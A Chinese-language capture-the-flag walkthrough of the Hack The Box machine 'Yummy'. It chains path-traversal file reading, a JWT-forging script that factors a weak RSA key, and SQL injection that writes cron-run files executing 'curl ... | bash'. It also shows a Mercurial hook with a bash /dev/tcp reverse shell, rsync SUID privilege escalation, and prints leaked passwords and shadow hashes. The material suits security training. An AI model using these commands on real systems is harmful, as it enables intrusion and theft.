基本信息

端口扫描

22和80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ nmap -sC -sV -Pn 10.10.11.36
Starting Nmap 7.95 ( https://nmap.org ) at 2024-10-09 13:34 CST
Nmap scan report for 10.10.11.36
Host is up (0.30s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA)
|_ 256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519)
80/tcp open http Caddy httpd
|_http-server-header: Caddy
|_http-title: Did not follow redirect to http://yummy.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 290.09 seconds

80

需要加hosts:

1
10.10.11.36 yummy.htb

餐饮相关网站:

yummy

注册登录测试功能,预定桌子,可以下载日历,请求中发现export看起来是直接获取指定路径文件,可能存在LFI:

LFI

验证存在,需要存在有效预约,并且先GET请求对应的id /reminder/21才会生成ics文件,之后才能通过export访问,否则会响应500:

Caddy

根据响应信息server Caddy,去读取Caddy相关文件,没什么东西:

crontab

crontab中发现一些定时运行的文件:

dbmonitor

dbmonitor可以看到会根据dbstatus.json状态运行fixer-v*:

backup

读取app_backup.sh得到备份文件路径,然后获取备份文件:

1
http://yummy.htb/export/../../../../var/www/backupapp.zip

mysql

table_cleanup.sh中可以得到mysql账号密码:

1
/usr/bin/mysql -h localhost -u chef yummy_db -p'3wDo7gSRZIwIHRxZ!'

APP

备份代码app.py中也可以看到mysql相关信息,可以看到使用JWT和RSA:

JWT

根据代码修改生成administrator的jwt,即可访问到admindashboard:

admintoken.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import base64
import json
import jwt
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy

token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Im1pYW9AbWlhby5jb20iLCJyb2xlIjoiY3VzdG9tZXJfNGE3ZmIyNzgiLCJpYXQiOjE3Mjg0NTE2MjgsImV4cCI6MTcyODQ1NTIyOCwiandrIjp7Imt0eSI6IlJTQSIsIm4iOiI4OTQzMzQ1NjgxODk3MTQxODk1NzkwMjA3OTM1MjE3MTMyMTczODQ5MjQ5MDQ3OTMxMzYxNTAyMTI0MDU3MzIwNDgxOTI2NDU0MTMwMTkzNjYwNDM3MzQ4NDc3Mzk4MzU3ODEyMDk2ODgyODA2ODE2NTE5OTAwNzA2MDY3MjY5MjQzNzYzMjAyMTgyOTc5NTA5Mjc0MTcxMjkxNjI0MjM0NDUxODM4NDQ1MDkwOTI3NDczODkwNDEyNTYyMTAwMTA0ODIxMTUyNDA3MzMwNDQ0NjU4NzI2NDMyNTUxNDM1MjUxMTgyOTQ1ODIzMTgyNTIwODE0NTYzMzQ4ODA2ODAzOTY5ODMxMDc0ODQ4MTcyOTA0MzY3NjQwOTk2MDQ2NDk0NzE0NDU2NjUwNTM5OTYzMTQxNjMwOTY4NyIsImUiOjY1NTM3fX0.BXtB95687zdQQKDz3DOKh-BnVYBfCVgatQ-KbKAW6hAFn-3IjB3ckSljjsc-DLyb1ovnLzYo97p9Imy53dX7b3jnKvy8MbK2NtnKeALgP1GH95H6U0_BKXXKOzxFGgKOQZrBOZLdv9eV45elxUK2sI1EBl-X4VgqX1m95N6GI3-ZEvk"

def add_padding(b64_str):
while len(b64_str) % 4 != 0:
b64_str += '='
return b64_str

def base64url_decode(input):
input = add_padding(input)
input = input.replace('-', '+').replace('_', '/')
return base64.b64decode(input)

# Decode the payload
js = json.loads(base64url_decode(token.split(".")[1]).decode())
n = int(js["jwk"]['n'])
p, q = list((sympy.factorint(n)).keys())
e = 65537
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()

private_key = serialization.load_pem_private_key(
private_key_bytes,
password=None,
backend=default_backend()
)
public_key = private_key.public_key()

data = jwt.decode(token, public_key, algorithms=["RS256"])
data["role"] = "administrator"

new_token = jwt.encode(data, private_key, algorithm="RS256")
print(new_token)

admindashboard

根据代码,很明显的sql注入:

并且可以直接堆叠报错:

sql to file

还可以直接读写文件(因为文件是mysql权限写入的,所以也需要通过sql注入读取验证):

sql to shell

前面在crontab中可以看到dbmonitor是mysql权限运行的,所以我们可以通过sql注入读写相关文件,另外因为他会运行fixer-v*,所以我们可以写入一个恶意的文件等待执行,得到mysql shell:

1
2
3
http://yummy.htb/admindashboard?s=&o=;select+"miaomiaomiao"+INTO+OUTFILE+"/data/scripts/dbstatus.json";

http://yummy.htb/admindashboard?s=&o=;select+"curl+10.10.14.7:7777/shell.sh+|+bash"+INTO+OUTFILE+"/data/scripts/fixer-v7777";

mysql to www-data

同样根据前面crontab中可以知道,app_backup.sh是www-data用户定时运行的,但上层目录是777权限,所以mysql用户可以对其进行操作:

1
2
mv /data/scripts/app_backup.sh /data/scripts/app_backup.sh.old
curl http://10.10.14.7:7777/shell.sh -o /data/scripts/app_backup.sh

等待触发执行,得到www-data:

信息

常规去翻web目录文件,发现hg相关文件,就是类似git的版本控制工具,data中得到qa用户密码:

1
2
3
4
strings /var/www/app-qatesting/.hg/store/data/app.py.i

'user': 'qa',
'password': 'jPAd!XQCtn8Oc@2B',

user flag

qa用户ssh登录:

hg hooks to dev

可以sudo以dev身份运行hg,pull到指定项目中,hg类似git,相同的方式添加hooks:

1
2
3
4
5
6
7
8
mkdir .hg
chmod 777 .hg
cp ~/.hgrc .hg/hgrc
echo "[hooks]" >> .hg/hgrc
echo "post-pull = /tmp/miao/shell.sh" >> .hg/hgrc
echo "bash -c 'bash -i >& /dev/tcp/10.10.14.7/4444 0>&1'" > shell.sh
chmod +x shell.sh
sudo -u dev /usr/bin/hg pull /home/dev/app-production/

打到dev用户:

提权信息

dev用户可以sudo以root身份运行rsync备份代码:

而rsync运行时可以添加额外参数,例如chown:

所以如果是一个设置了suid的文件,rsync时chown到root,那就有了一个root suid文件

提权 & root flag

所以就是简单的给bash加suid,rsync时chown,操作要快,有自动清理:

1
2
3
4
cp /bin/bash app-production/bash
chmod u+s app-production/bash
sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/
/opt/app/bash -p

shadow

1
2
3
4
5
root:$y$j9T$VFiopFqX2qPhPh4xaO0Gd/$t9kjP.3F4.0JsG5ZYe.e2vSY1A/71UzvQANY4SToQ98:19871:0:99999:7:::
www-data:$y$j9T$S21blsbdDkEltq9K0dVWh.$xJ9DB6rlVtaqyy1Wr7ZNEQNyDpYqc9J.azcfx8u2f52:19871:0:99999:7:::
dev:$y$j9T$1/WsUm7je9IFkzgVjqRjX0$kqpuG3yR.ax0.hzHJp5NL0G4943t/fcVU7LnDKitfv1:19871:0:99999:7:::
mysql:$y$j9T$G9DPvQTVigsYa1P8PJZXw.$b88UbsM554ljSq.SVHU6BEbL/9QCVJ1a78WZSxt4uk2:19871::::::
qa:$y$j9T$75Hb7WaRlgpORQQSzqUNS/$ZkK/Yb1QrMTAgHsd4qViPxTRDd4v6BaA2nrSyp0YAI3:19871:0:99999:7:::

参考资料